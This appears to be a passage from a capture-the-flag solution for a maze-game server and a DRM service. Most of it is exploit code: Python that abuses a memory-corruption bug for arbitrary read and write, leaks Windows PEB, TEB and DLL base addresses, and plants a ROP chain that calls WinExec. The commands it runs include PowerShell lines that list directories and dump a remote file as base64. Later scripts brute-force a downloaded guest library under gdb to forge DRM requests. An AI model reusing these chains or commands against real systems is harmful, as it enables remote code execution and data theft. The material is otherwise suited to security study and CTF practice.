        wait_pattern(cnx, 'Score value for traps:')
        print('score=0x%X'%score)
        cnx.sendline(str(score))

        wait_pattern(cnx, 'Do you want to save this maze ?')
        cnx.sendline('y')

        wait_pattern(cnx, 'What the name of the maze to save ?')
        cnx.sendline(name)

        wait_pattern(cnx, '8. Exit')


def create_mazeG(cnx, name, w, h, score):
        cnx.sendline('2')

        wait_pattern(cnx, '3. Maze multipass with traps')
        cnx.sendline('3')



        wait_pattern(cnx, 'Random maze or custom maze ?')
        cnx.sendline('c')

        wait_pattern(cnx, 'Width odd and greater than 3:')
        cnx.sendline(str(w))

        wait_pattern(cnx, 'Height odd and greater than 3:')
        cnx.sendline(str(h))

        wait_pattern(cnx, 'Enter the percentage of wall to remove, default is 5%:')
        cnx.sendline('100')

        wait_pattern(cnx, 'Number of traps between ')
        cnx.sendline('1')

        wait_pattern(cnx, 'Score value for traps:')
        print('score=0x%X'%score)
        cnx.sendline(str(score))

        wait_pattern(cnx, 'Do you want to save this maze ?')
        cnx.sendline('y')

        wait_pattern(cnx, 'What the name of the maze to save ?')
        cnx.sendline(name)

        wait_pattern(cnx, '8. Exit')
```

```
def update_maze(cnx):
	cnx.sendline('7')
	wait_pattern(cnx, 'Do you want to update traps positions')
	cnx.sendline('y')
	wait_pattern(cnx, '-*-*-*-*-*-*-*')
	cnx.sendline('######  ##  ## ^o#####')
	wait_pattern(cnx,'Do you want to save this maze ?')
	cnx.sendline('y')

def update_mazeG(cnx, w, h):
	cnx.sendline('7')
	wait_pattern(cnx, 'Do you want to update traps positions')
	cnx.sendline('y')
	wait_pattern(cnx, '-*-*-*-*-*-*-*')
	line = '#' + ' '*(w-2)+'#'
	mz_data = "#"*w +  line * (h-3) + '#' + ' '*(w-4)+'^o#' + "#"*w
	cnx.sendline(mz_data)
	wait_pattern(cnx,'Do you want to save this maze ?')
	cnx.sendline('y')

def load_maze(cnx, name):
	cnx.sendline('3')
	wait_pattern(cnx,'You can send -1 to come back to the main menu.')
	cnx.sendline(name)
	wait_pattern(cnx, '8. Exit')

def play_maze(cnx):

	path = "ssddd"

	cnx.sendline('4')

	wait_pattern(cnx, 'Use zqsd to move and x to exit')
	for c in path:
		cnx.sendline(c)
		wait_patterns(cnx, '-*-*-*-*-*-*-*', "YOU WIN")

	wait_pattern(cnx, '8. Exit')

def play_mazeG(cnx, w, h):


	path = "s"*(h-3) + "d"*(w-2) #TODO

	cnx.sendline('4')

	wait_pattern(cnx, 'Use zqsd to move and x to exit')
	for c in path:
		cnx.sendline(c)
		wait_patterns(cnx, '-*-*-*-*-*-*-*', "YOU WIN")

	wait_pattern(cnx, '8. Exit')

def get_addr(line):
		vaddr = 0
		lgf = len(line)

		addr = line[128:-3] # tty in raw mode...
		lga = len(addr)
		for i in range(0,lga):
			print("0x%X,"%addr[i]),
			v = addr[i]
			vaddr += (1<<(8*i)) * v
		print('\n')
		return(vaddr)

def view_score(cnx):
	cnx.sendline('6')
	wait_pattern(cnx, 'created by ')
	score_info = cnx.readline()
	print(score_info)
	adr = get_addr(score_info)
	print("addr=0x%X"%adr)
	wait_pattern(cnx, '8. Exit')
	return(adr)

def delete_maze(cnx, name):
	cnx.sendline('3')
	wait_pattern(cnx, 'You can send -1 to come back to the main menu.')
```

```
	cnx.sendline('-1')
	wait_pattern(cnx, '8. Exit')
	cnx.sendline('5')
	res = wait_patterns(cnx, name, 'You can send -1 to come back to the main menu.')
	if res == 1:
		cnx.sendline(name)
		wait_pattern(cnx, 'Are you sure to remove')
		cnx.sendline('y')
	else:
		cnx.sendline('-1')

	wait_pattern(cnx, '8. Exit')


def create_peek_maze(cnx, addr):
	print("peek addr=%X"%addr)
	haddr = int(addr / 65536)
	lb = addr % 256
	mb = int(addr /256)%256

	if lb == 0 or lb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	if mb == 0 or mb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	w=5
	h=5

	pseudo = b'A'*21 + b'B' + w.to_bytes(1,byteorder='little') + h.to_bytes(1,byteorder='little') + b'_'*w*h + lb.to_bytes(1,byteorder='little') +
mb.to_bytes(1,byteorder='little')

	register_pseudo(cnx, pseudo)

	create_maze(cnx, "peek1", haddr-4)
	update_maze(cnx)
	load_maze(cnx,"peek1.maze")

	play_maze(cnx)

	pseudo = "C"*127
	register_pseudo(cnx, pseudo)
	for i in range(0,21):
		play_maze(cnx)


def create_peek_maze_opt(cnx, addr):
	print("peek addr=%X"%addr)
	haddr = int(addr / 65536)
	lb = addr % 256
	mb = int(addr /256)%256

	if lb == 0 or lb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	if mb == 0 or mb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)


	w=5
	h=5

	size_traps = lb *11 +1
	nb_ent = math.ceil(size_traps/136)


	pseudo = b'A'*nb_ent + b'B' + w.to_bytes(1,byteorder='little') + h.to_bytes(1,byteorder='little') + b'_'*w*h + lb.to_bytes(1,byteorder='little') +
mb.to_bytes(1,byteorder='little')

	register_pseudo(cnx, pseudo)


	create_maze(cnx, "peek1", haddr-4)
```

```
	update_maze(cnx)
	load_maze(cnx,"peek1.maze")


	play_maze(cnx)

	pseudo = "C"*127
	register_pseudo(cnx, pseudo)
	for i in range(0,nb_ent):
		play_maze(cnx)



def create_peek_maze_17x15(cnx, addr):
	print("peek addr=%X"%addr)
	haddr = int(addr / 65536)
	lb = addr % 256
	mb = int(addr /256)%256

	lb = 1

	if lb == 0 or lb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	if mb == 0 or mb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	w = 17
	h = 15

	pseudo = b'A'*2 + b'T' + w.to_bytes(1,byteorder='little') + h.to_bytes(1,byteorder='little') + b'D'*121
	register_pseudo(cnx, pseudo)

	create_mazeG(cnx, "peek1", w, h, haddr-(w+h-6))
	update_mazeG(cnx,w, h)
	load_maze(cnx,"peek1.maze")
	play_mazeG(cnx, w, h)

	pseudo = b'B'*125 + lb.to_bytes(1,byteorder='little') + mb.to_bytes(1,byteorder='little')
	register_pseudo(cnx, pseudo)
	play_mazeG(cnx, w, h)

	pseudo = b"C"*127
	register_pseudo(cnx, pseudo)
	play_mazeG(cnx, w, h)


def get_maze_data1(cnx):
	cnx.sendline('4')


	w = 5
	h = 5

	lg = 2 + (w +2) * h #tty in raw mode
	maze_data = cnx.read(size=lg)
	print(maze_data)

	lmd = len(maze_data)
	if lmd< (h*w+2*h -1):
		print('BAD MAZE DATA')
		return(bytearray(w*h))

	bin_data = bytearray()
	for i in range(0,h):
		for j in range(0,w):

			bin_data.append(maze_data[2+j+i*(w+2)])  # tty in raw mode
	wait_pattern(cnx, 'Use zqsd to move and x to exit')
	cnx.sendline('x')
	wait_pattern(cnx, '8. Exit')
	for x in bin_data:
		print("0x%X, "%x, end='')
	print("\n")
	return(bin_data)

def get_maze_dataG(cnx, w, h):
```

```
	cnx.sendline('4')



	lg = 2 + (w +2) * h #tty in raw mode

	maze_data = cnx.read(size=lg)
	print(maze_data)

	lmd = len(maze_data)
	if lmd< (h*w+2*h -1):
		print('BAD MAZE DATA')
		return(bytearray(w*h))

	bin_data = bytearray()
	for i in range(0,h):
		for j in range(0,w):

			bin_data.append(maze_data[2+j+i*(w+2)])  # tty in raw mode
	wait_pattern(cnx, 'Use zqsd to move and x to exit')
	cnx.sendline('x')
	wait_pattern(cnx, '8. Exit')
	for x in bin_data:
		print("0x%X, "%x, end='')
	print("\n")
	return(bin_data)


def get_stack_addr(mdata):
	lg = len(mdata)
	if lg <16:
		print('invalid maze data lg=%d'%lg)
		sys.exit(1)

	if mdata[6] != 0x78 : # x character in the maze
		print('invalid maze data')
		sys.exit(1)
	mdata[6]=0

	saddr = 0
	for i in range(0,8):
		saddr*=256
		saddr += mdata[7-i]

	saddr2 = 0
	for i in range(0,8):
		saddr2*=256
		saddr2 += mdata[8+7-i]

	print("0x%X, 0x%X"%(saddr, saddr2))
	if (saddr & 0xFFFFFFFF00000000) != (saddr2 & 0xFFFFFFFF00000000):
		print('invalid addresses')
		print("0x%X, 0x%X"%(saddr, saddr2))
		sys.exit(1)

	return(saddr)

def get_stack_range(mdata):
	lg = len(mdata)
	if lg <16:
		print('invalid maze data lg=%d'%lg)
		sys.exit(1)

	if mdata[6] != 0x78 : # x character in the maze
		print('invalid maze data')
		sys.exit(1)
	mdata[6]=0

	saddr = 0
	for i in range(0,8):
		saddr*=256
		saddr += mdata[7-i]

	saddr2 = 0
	for i in range(0,8):
		saddr2*=256
		saddr2 += mdata[8+7-i]

	print("0x%X, 0x%X"%(saddr, saddr2))
	return(saddr, saddr2)
```

```
def PEEK(paddr):
	global mcnx

	alt = False
	if (paddr & 0xFF) == 0 or (paddr & 0xFF) == 0x20:
		paddr -=8
		alt = True

	delete_maze(mcnx, "peek1.maze")
	create_peek_maze_opt(mcnx, paddr)
	load_maze(mcnx,"peek1.rank")

	mdata = get_maze_data1(mcnx)
	(adr1,adr2)=get_stack_range(mdata)
	if alt == True:
		return(adr2,0)
	else:
		return(adr1,adr2)


def find_base_addrs(TEB0):
	(a1,a2)=PEEK(TEB0+0x60)
	PEB = a1
	print("PEB=0x%X"%PEB)

	(a1,a2)=PEEK(PEB+0x18)
	LDR = a1
	print("LDR=0x%X"%LDR)

	(a1,a2)=PEEK(LDR+0x10)
	ldr_entry1 = a1                                    # A__Mazing.exe

	(a1,a2)=PEEK(ldr_entry1)
	ldr_entry2 = a1                                    # ntdll.dll
	(ntdll_base, a2) = PEEK(ldr_entry2 + 0x30)
	print("ntdll_base=0x%X"%ntdll_base)

	(a1,a2)=PEEK(ldr_entry2)
	ldr_entry3 = a1                                    # Kernel32.dll
	(kernel32_base, a2) = PEEK(ldr_entry3 + 0x30)
	print("kernel32_base=0x%X"%kernel32_base)

	(a1,a2)=PEEK(ldr_entry3)
	ldr_entry4 = a1                                    # Kernelbase.dll
	(kernel_base, a2) = PEEK(ldr_entry4 + 0x30)
	print("kernel_base=0x%X"%kernel_base)

	return(ntdll_base, kernel32_base, kernel_base)

	"""
	+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x0000019a`c4fa4650 - 0x0000019a`c4fa3030 ]
	+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x0000019a`c4fa4660 - 0x0000019a`c4fa3040 ]
  +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x0000019a`c4fa3050 - 0x0000019a`c4fa2a00 ]
  +0x030 DllBase         : 0x00007fff`8ac60000 Void
  +0x038 EntryPoint      : 0x00007fff`8ac70650 Void
  +0x040 SizeOfImage     : 0x2c8000
  +0x048 FullDllName     : _UNICODE_STRING "C:\WINDOWS\System32\KERNELBASE.dll"
  +0x058 BaseDllName     : _UNICODE_STRING "KERNELBASE.dll"
	"""

def find_in_stack2(data):
	lg = len(data)
	res = data.find(b"\x58\x5E")
	print(res)
	return(res)


def locate_Stack2(stck_base, stck_limit):
	global mcnx
	saddr = stck_base - 0x100

	for i in range(0,18):
		delete_maze(mcnx, "peek1.maze")
		create_peek_maze_17x15(mcnx, saddr)
		load_maze(mcnx,"peek1.rank")
		mdata = get_maze_dataG(mcnx,17,15)
		pos = find_in_stack2(mdata)
		print("pos=0x%X"%pos)
		if (pos != -1):
			raddr = saddr + pos+1
```

```
                                        return(raddr)

                                saddr-=0x100

        print("Ret addr not found1")
        sys.exit(-1)
        return(0)

def set_maze_data2(cnx, new_data, max_lg):
        cnx.sendline('7')
        wait_pattern(cnx, 'Do you want to upgrade to level multipass ?')
        cnx.sendline('y')
        wait_pattern(cnx, 'Enter the percentage of wall to remove, default is')
        cnx.sendline('0')
        wait_pattern(cnx,'Do you want to upgrade to level multipass with trap')
        cnx.sendline('y')
        wait_pattern(cnx,'Number of traps between 0')
        cnx.sendline('0')
        wait_pattern(cnx,'Score value for traps:')
        cnx.sendline('0')
        wait_pattern(cnx,'Do you want to save this maze ?')
        cnx.sendline('n')

        wait_pattern(cnx, '8. Exit')
        cnx.sendline('7')

        wait_pattern(cnx, 'Do you want to update traps positions')
        cnx.sendline('y')

        wait_pattern(cnx, '-*-*-*-*-*-*-*-*')
        lg = len(new_data)

        cnx.sendline(new_data + b'\x00'*(max_lg-lg))

        cnx.sendline('\n\n\n')

        wait_pattern(cnx, '8. Exit')

        cnx.sendline('5')
        wait_pattern(cnx, 'Are you sure to remove')
        cnx.sendline('y')
        wait_pattern(cnx, '8. Exit')




def POKE(addr, val):
        global mcnx
        print("POKE: addr = 0x%X"%addr)
        lg = len(val)
        for i in range(0,lg):
                print("0x%X,"%val[i],end='')
        print()
        delete_maze(mcnx, "peek1.maze")
        create_peek_maze_opt(mcnx, addr)
        load_maze(mcnx,"peek1.rank")

        set_maze_data2(mcnx, val,25)



def install_rop2(raddr, rop):
        lgr = len(rop)
        cnt = 0
        print("rop lg =%d"%lgr)
        for i in range(0, lgr, 24):
                paddr = raddr + i
                if (i+24 < lgr):
                        val = rop[i:i+24]
                else:
                        val = rop[i:]
                POKE(paddr, val)

def install_rop3(raddr, rop):
        lgr = len(rop)
        cnt = 0
        val = rop[0:24]
        POKE(raddr, val)
        print("rop lg =%d"%lgr)
```

```
        for i in range(4, lgr, 24):
                paddr = raddr + i
                if (i+24 < lgr):
                        val = rop[i:i+24]
                else:
                        val = rop[i:]
                POKE(paddr, val)


def install_data(daddr, dta):
        lgr = len(dta)
        cnt = 0
        val = dta[0:24]
        POKE(daddr, val)
        print("dta lg =%d"%lgr)
        for i in range(4, lgr, 24):
                paddr = daddr + i
                if (i+24 < lgr):
                        val = dta[i:i+24]
                else:
                        val = dta[i:]
                POKE(paddr, val)



child = pexpect.spawn('nc %s'%(maze_server))
fout = open ("LOG_ext.TXT","wb")
child.logfile = fout
tty.setraw(child.child_fd) # set raw mode !!!

mcnx = child

init_session(child)

child.sendline('1')

wait_pattern(child, 'Pseudo :')
child.sendline("123456789_"*12+"1234567")

"""
create_maze(child, "amaze1", 0x050501-4)
update_maze(child)
load_maze(child,"amaze1.maze")

for i in range(0,128):
        print('Play:%d'%i)
        play_maze(child)
"""

load_maze(child,"amaze1.rank")
addr = view_score(child)


if addr == 0:
        print('addr is 0')
        sys.exit(1)

if addr & 0xFFFFFFFF00000000 == 0:
        print('invalid address')
        sys.exit(1)

print("Heap Addr = 0x%X"%addr)
tv = addr & 0xFFFF

naddr = addr & (0xFFFFFFFFFFFF0000) | 0x3270
if (tv-0x32b0 < 0x1000):
        naddr -= 0x10000

naddr -= 0x5E0

naddr -= 0x70

naddr -=1


delete_maze(child, "peek1.maze")
create_peek_maze(child, naddr)


load_maze(child,"peek1.rank")
```

```
mdata = get_maze_data1(child)

saddr = get_stack_addr(mdata)
print("Stack Addr = 0x%X"%saddr)
saddr >>=8
print("Stack Addr = 0x%X"%saddr)



addr = saddr - 0x38

delete_maze(child, "peek1.maze")
create_peek_maze(child, addr)
load_maze(child,"peek1.rank")

mdata = get_maze_data1(child)
saddr = get_stack_addr(mdata)
print("TEB Addr = 0x%X"%saddr)


TEB0 = saddr-0x2000
print("TEB0 Addr = 0x%X"%(TEB0))

naddr = TEB0 + 0x8
delete_maze(child, "peek1.maze")
create_peek_maze_opt(child, naddr)
load_maze(child,"peek1.rank")

mdata = get_maze_data1(child)

(stack_base, stack_limit)=get_stack_range(mdata)
print("stack_base=0x%X"%stack_base)
print("stack_limit=0x%X"%stack_limit)



(ntdll, kernel32, kernelbase) = find_base_addrs(TEB0)
"""
ntdll = 0x7FFFECA70000
kernel32 = 0x7FFFEB1F0000
kernelbase = 0x7FFFEA460000
"""

raddr = locate_Stack2(stack_base, stack_limit)
print("raddr=0x%X"%raddr)


#cmd = b"powershell.exe pwd "+ b'\x00'
#cmd = b"powershell.exe ls "+ b'\x00'
#cmd = b"powershell.exe ls C:\Users\challenge"+ b'\x00'
#cmd = b"powershell.exe ls C:\Users\challenge\Downloads"+ b'\x00'
#cmd = b"powershell.exe ls C:\\"+ b'\x00'

#cmd = b"powershell.exe ls C:\Users\challenge -recurse"+ b'\x00'
#cmd = b"powershell.exe ls C:\Users\challenge -force -recurse"+ b'\x00'
#cmd = b"powershell.exe ls C:\Tools -force -recurse"+ b'\x00'
cmd = b"powershell.exe ls -force -recurse"+ b'\x00'


#    Directory: C:\Users\challenge\Desktop
#Mode                 LastWriteTime         Length Name
#----                 -------------         ------ ----
#-a----         4/1/2021   1:47 PM       14055432 DRM.zip

#cmd = b"powershell.exe Format-Hex C:\Users\challenge\Desktop\DRM.zip"+ b'\x00'
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip'); $bf=[System.Byte[]]::new(1024); $f.Seek(0,0); foreach ($p in
(0..13727)) {$f.Read($bf,0,1024); [convert]::ToBase64String($bf)}; $f.Close()"
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip'); $bf=[System.Byte[]]::new(1024); $f.Seek(4000000,0); foreach ($p
in (0..9199)) {$f.Read($bf,0,1024); [convert]::ToBase64String($bf)}; $f.Close()"
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip'); $bf=[System.Byte[]]::new(1024); $f.Seek(13000000,0); foreach
($p in (0..1032)) {$f.Read($bf,0,1024); [convert]::ToBase64String($bf)}; $f.Close()"

print(cmd)
data_addr = stack_limit + 0x101
install_data(data_addr, cmd)
rop = ropbuilder.build_rop4(data_addr)
install_rop3(raddr, rop)


child.sendline('8')
```

```
fch = open("data.out","wb")
while True:
	prog_out1 = child.readline()
	fch.write(prog_out1)
	print(prog_out1)
fch.close()
prog_out2 = child.read()
print(prog_out2)
print(prog_out1.decode('utf-8'))
print(prog_out2.decode('utf-8'))
```

2. Ropbuilder.py

```
import sys

from struct import *



kernel32_base = 0x7FFFEB1F0000
ntdll_base = 0x7FFFECA70000
kernel_base = 0x7FFFEA460000

stack_addr =  0x0


poprcx = ntdll_base + 0x1a853
poprdxr11 = ntdll_base + 0x8c557

retgadget = ntdll_base + 0x132e

poprsp = ntdll_base + 0x08c45
addrsp28 = kernel32_base + 0x71e5
addrsp18 = kernel32_base + 0x015b16
addrsp38 = kernel32_base + 0x07644


addrsp78 = kernel32_base + 0x051f57

winexecF = kernel32_base + 0x65F80
SleepExF = kernel32_base + 0x24aa0
ExitProcessImpF = kernel32_base + 0x1e0a0


def build_rop4(data_addr):
	ropchain=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
	ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + b"a"*8 # Pop 2nd arg + dumb argument for r11

	#ropchain+=pack('<Q',retgadget) + pack('<Q',winexecF) # Align rsp using ret + call WinExec
	ropchain+=pack('<Q',winexecF) #   call WinExec

	ropchain+=pack('<Q',addrsp28)
	ropchain+= b"P"*40
	ropchain+=pack('<Q',poprcx) + pack('<Q',10000) # Pop 1st arg
	ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + b"a"*8 # Pop 2nd arg + dumb argument for r11

	#ropchain+=pack('<Q',retgadget) + pack('<Q',SleepF) # call Sleep
	ropchain+=pack('<Q',SleepExF) # call Sleep



	ropchain+=pack('<Q',addrsp28)
	ropchain+= b"P"*40

	ropchain+=pack('<Q',poprcx) + pack('<Q',0) # Pop 1st arg
	#ropchain+=pack('<Q',retgadget) + pack('<Q',exitF) # call exit
	ropchain+=pack('<Q',ExitProcessImpF) # call exit


	return(ropchain)
```

3. Level 3

1. Orchestrator_T2

```
#!/bin/bash
cd clients_L4_T2
while true; do
	rm tmp/guest.so
	./load_guest_so
	../get_guest_time tmp/guest.so
	./find_func.sh tmp/guest.so
	python3 run_client2B.py
	./st_clients.sh
	python3 parse_res2.py
	python3 run_client_zeros.py
	cp zero_cmd.txt zero_cmd.py
	python3 client_drm_zero.py
done
```

2. load_guest_so

```
#!/bin/bash
cd tmp
wget http://challenge2021.sstic.org:8080/api/guest.so
```

3. get_guest_time.c

```
#include <stdio.h>
#include <dlfcn.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>




int (*getIdent)(unsigned char *dataBuff);
int (*getPerms)(unsigned char *dataBuff);
int (*useVM)(unsigned char *inData, unsigned char *outBuffer);

/*************************/
int dump_buffer(unsigned char *bf, int lg)
{
	int i;

	for (i=0; i<lg; i++) {
		if ((i%8)==0)
			printf("\n0x%04X: ",i);
		printf("0x%02X ",bf[i]);
	}
	printf("\n");
}
/*************************/
int dump_buffer2(unsigned char *bf, int lg)
{
	int i;

	printf("dta = [0x00, ");
	for (i=0; i<lg-1; i++) {
		printf("0x%02X, ",bf[i]);
	}
	printf("0x%02X]\n",bf[lg-1]);
}
/*************************/
void * load_lib(char *name)
{
	void *hdl;
```

```
	hdl = dlopen(name,RTLD_NOW);

	if (hdl != NULL) {
		getIdent = dlsym(hdl,"getIdent");
		getPerms = dlsym(hdl,"getPerms");
		useVM = dlsym(hdl,"useVM");
	}

	return(hdl);
}
/************************/
int getTime()
{
	unsigned char buffer[1024];
	unsigned char buffer2[1024];
	time_t t;
	unsigned int gtm;
	time_t gt;
	memset(buffer, 0, 1024);
	memset(buffer2, 0, 1024);

	t = time(NULL);
	printf("0x%lX\n",t);
	getIdent(buffer2+16 );
	dump_buffer(buffer2, 32);
	gtm = *(int *)(buffer2+16);
	printf("gtm = 0x%X\n",gtm);
	gt = gtm;
	printf("%s\n",ctime(&gt));
}
/************************/
int main(int argc, char *argv[])
{
	void * hl;
	unsigned char buffer[1024];
	char *gname;

	if (argc > 1) {
		gname = argv[1];
		hl = load_lib(gname);
	} else {
		hl = load_lib("tmp/guest.so");
	}

	if (hl == NULL)
		exit(1);

	printf("%p\n", getIdent);
	printf("%p\n", getPerms);
	printf("%p\n", useVM);

	getTime();


	dlclose(hl);

}
```

4. Find_func.sh

```
#!/bin/bash
#objdump -d $1 | grep -B 1 'add    $0x7,' |grep -A 1 '88 .. .. .. '

#objdump -d $1 | grep -B 1 'add    $0x7,' |grep -A 1 '88 .. .. .. ' | grep 'add' | cut -f1
val=$(objdump -d $1 | grep -B 1 'add    $0x7,' |grep -A 1 '88 .. .. .. ' | grep 'add' | cut -f1)

#echo $val
```

```
python -c "x = '$val';  adr = int(x[-5:-1],16)-0x1000;print('0x%X'%adr)"
res=$(python -c "x = '$val';  adr = int(x[-5:-1],16)-0x1000;print('0x%X'%adr)")
echo $res

sed "s/0x227/$res/" gdb1Ref.txt > gdb1.txt

# b useVM-0x100 + off7
# x /8bx $rsp-0x80+0x8
```

5. Run_client2B.py

```
import sys
import os
import imp
import time

def fdump(fch, vals):
	fch.write("[")
	for x in vals:
		fch.write("0x%02X, "%x)
	fch.write("],\n")

def dump(vals):
	for x in vals:
		print("0x%02X, "%x,end='')
	print('')

def set_vector(vals):
	#base=0x88
	with open("mem_cmds.txt","w") as fch:
		for i in range(0,8):

			adr = i
			val = vals[i]

			cmd = "set *(unsigned char*)($rsp-0x80+0x08+0x%02x)=0x%02x"%(adr, val)
			#print(cmd)
			fch.write(cmd+'\n')
def load_outgdb():
	dta = list()
	with open("outgdb2.py") as fchig:
		line = fchig.readline()
		line2 = line.strip('\n')
		pline = line2[7:-1]
		vt = pline.split(',')
		for x in vt:
			vi = int(x,16)
			dta.append(vi)


	return(dta)

def run_guest(vals):
	if os.path.exists('outgdb2.py'):
		os.remove('outgdb2.py')
	set_vector(vals)
	os.system('./strt_gdb.sh')


	dta = load_outgdb()


	dump(dta)
	return(dta)




fcho1 = open("guest_out_res1.py","w")
```

```
fcho2 = open("guest_out_res2.py","w")

fcho1.write('cmd_lst = [\n')
fcho2.write('cmd_lst = [\n')




for i in range(0,256):
        for j in range(0,8):
                vals[j]=i
        print(i)
        ldta = run_guest(vals)
        #guest_out.append(outgdb2.dta)

        if (i%2)==0:
                fdump(fcho1, ldta)
        elif (i%2)==1:
                fdump(fcho2, ldta)

fcho1.write(']\n')
fcho2.write(']\n')

fcho1.close()
fcho2.close()
```

6. Strt_gd.sh

```
#!/bin/bash

cat gdb1.txt mem_cmds.txt gdb2.txt > gdbcmdF.txt
gdb -x gdbcmdF.txt client_guest3 > outgdb.txt 2>/dev/null
tail -2 outgdb.txt |head -1 > outgdb2.py
```

7. Client_guest3.c

```
#include <stdio.h>
#include <dlfcn.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>




int (*getIdent)(unsigned char *dataBuff);
int (*getPerms)(unsigned char *dataBuff);
int (*useVM)(unsigned char *inData, unsigned char *outBuffer);

/*************************/
int dump_buffer(unsigned char *bf, int lg)
{
        int i;

        for (i=0; i<lg; i++) {
                if ((i%8)==0)
                        printf("\n0x%04X: ",i);
                printf("0x%02X ",bf[i]);
        }
        printf("\n");
}
/*************************/
```

```
int dump_buffer2(unsigned char *bf, int lg)
{
	int i;

	printf("dta = [0x00, ");
	for (i=0; i<lg-1; i++) {
		printf("0x%02X, ",bf[i]);
	}
	printf("0x%02X]\n",bf[lg-1]);
}
/************************/
void * load_lib(char *name)
{
	void *hdl;

	hdl = dlopen(name,RTLD_NOW);

	if (hdl != NULL) {
		getIdent = dlsym(hdl,"getIdent");
		getPerms = dlsym(hdl,"getPerms");
		useVM = dlsym(hdl,"useVM");
	}

	return(hdl);
}
/************************/
int hsign2(uint64_t fileid, unsigned char *buff)
{
	unsigned char buffer[1024];
	unsigned char buffer2[1024];
	time_t t;
	unsigned int gtm;
	time_t gt;
	memset(buffer, 0, 1024);
	memset(buffer2, 0, 1024);

	t = time(NULL);
	printf("0x%lX\n",t);
	getIdent(buffer2+16 );
	dump_buffer(buffer2, 32);
	gtm = *(int *)(buffer2+16);
	printf("gtm = 0x%X\n",gtm);
	gt = gtm;
	printf("%s\n",ctime(&gt));

	((uint64_t *)buffer)[0]= fileid;
	getPerms(buffer+8);
	dump_buffer(buffer, 32);

	useVM(buffer, buffer2);
	dump_buffer(buffer2, 32);

	buffer[8]=0x55;
	dump_buffer(buffer, 32);
	useVM(buffer, buffer2);
	dump_buffer(buffer2, 32);

	memcpy(buff, buffer2, 32);
}
/************************/
int main(int argc, char *argv)
{
	void * hl;
	unsigned char buffer[1024];

	hl = load_lib("tmp/guest.so");
	if (hl == NULL)
		exit(1);

	printf("%p\n", getIdent);
	printf("%p\n", getPerms);
```

```
        printf("%p\n", useVM);

        //hsign2(0x68963b6c026c3642, buffer); // Rumps
        //hsign2(0x6811af029018505f, buffer);  // Ambiance
        //hsign2(0x08abda216c40b90c, buffer);  // Ambiance/info.txt
        //hsign2(0xd603c7e177f13c40, buffer); // Prod
        //hsign2(0x75edff360609c9f7, buffer); // Admin
        hsign2(0x4145107573514dcc, buffer); // mp3 file
        dump_buffer2(buffer, 20);

        dlclose(hl);

}
```

8. gdb1.txt

```
set pagination off
b hsign2
run
b 101


set $cnt = 0
b *(useVM-0x100+0x2AD)
commands
silent
set $cnt = $cnt +1
if $cnt == 16
```

9. gdb2.txt

```
end
continue
end

continue
continue

quit
```

10. st_clients.sh

```
#!/bin/bash
python3 client_drmG2.py 1 &
python3 client_drmG2.py 2
#python3 client_drmG2.py 3
while true; do
    p=$(ps -ef |grep drmG | grep -v grep)
    size=${#p}
    if [ $size -eq 0 ]; then break;
    fi
    sleep 1
done
```

11. Client_DRMG2…

```
import sys
import socket
import importlib

print(len(sys.argv))
if len(sys.argv)>1:
        num = int(sys.argv[1])
else:
        num =0
print(num)

guest_out_res = importlib.import_module(u"guest_out_res"+str(num))
```

```
HOST = '127.0.0.1'
#HOST = '62.210.125.243'
PORT = 1337


fcho = open("server_out%d.txt"%num,"w")

def fdump(fch, vals):
    for x in vals:
        fch.write("0x%02X, "%x)
    fch.write("\n")

def dump(lst):
        for x in lst:
                print("0x%02X "%x,end='')
        print('\n')

def dump_bytes(barr):
        print(barr.hex())
        print('\n')
        for x in barr:
                print("0x%02X "%x,end='')
        print('\n')

def test_msg(dta):
        msg = bytes(dta)

        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                print('Connecting')
                s.connect((HOST, PORT))
                print('Connected')
                data = s.recv(1024)
                print('Received', repr(data))
                dump_bytes(data)
                if len(data) != 4:
                        return(-1)

                s.sendall(msg)
                data = s.recv(1024)
                print('Received', repr(data))
                dump_bytes(data)
                if len(data) != 1:
                        return(-1)

                if data[0] == 1 or data[0] == 2:
                        data = s.recv(1024)
                        print('Received', repr(data))
                        if len(data) != 16:
                                return(-1)
                        dump_bytes(data)
                        fcho.write(data.hex())
                        fcho.write('\n')
                        fdump(fcho, data)
                        fcho.flush()
        return(1)


cnt =0
for x in guest_out_res.cmd_lst:
        print("="*24)
        print("[%d]"%num)
        print("cnt=%d"%cnt)
        cnt += 1
        print(x)
        dump(x)
        fdump(fcho,x)
        res = 0
        while (res != 1):
                res = test_msg(x)
```

```
fcho.close()
```

12. parse_res2.py

```
import sys

def dump(lst):
	for x in lst:
		print("0x%02X "%x,end='')
	print('\n')


def load_res(name):
		res = list()
		with open(name,"r") as fch:
			ligne = fch.readline()
			while (ligne !=''):
				lg = len(ligne)
				if (lg <34):
					ligne = ligne.strip('\n')
					#print(ligne)
					res.append(ligne)
				ligne = fch.readline()
		return(res)

resi = list()

res1 = load_res("server_out1.txt")
res2 = load_res("server_out2.txt")
#res3 = load_res("server_out3.txt")

lg1 = len(res1)
print(lg1)
lg2 = len(res2)
print(lg2)
#lg3 = len(res3)
#print(lg3)

#for i in range(0,85):
for i in range(0,lg2):
		x = res1[i]
		val = int(x,16)
		resi.append(val)
		x = res2[i]
		val = int(x,16)
		resi.append(val)
		#x = res3[i]
		#val = int(x,16)
		#resi.append(val)

#x = res1[85]
#x = res1[lg1-1]
#val = int(x,16)
#resi.append(val)


lg = len(resi)
zeropos = list()
for i in range(0,8):
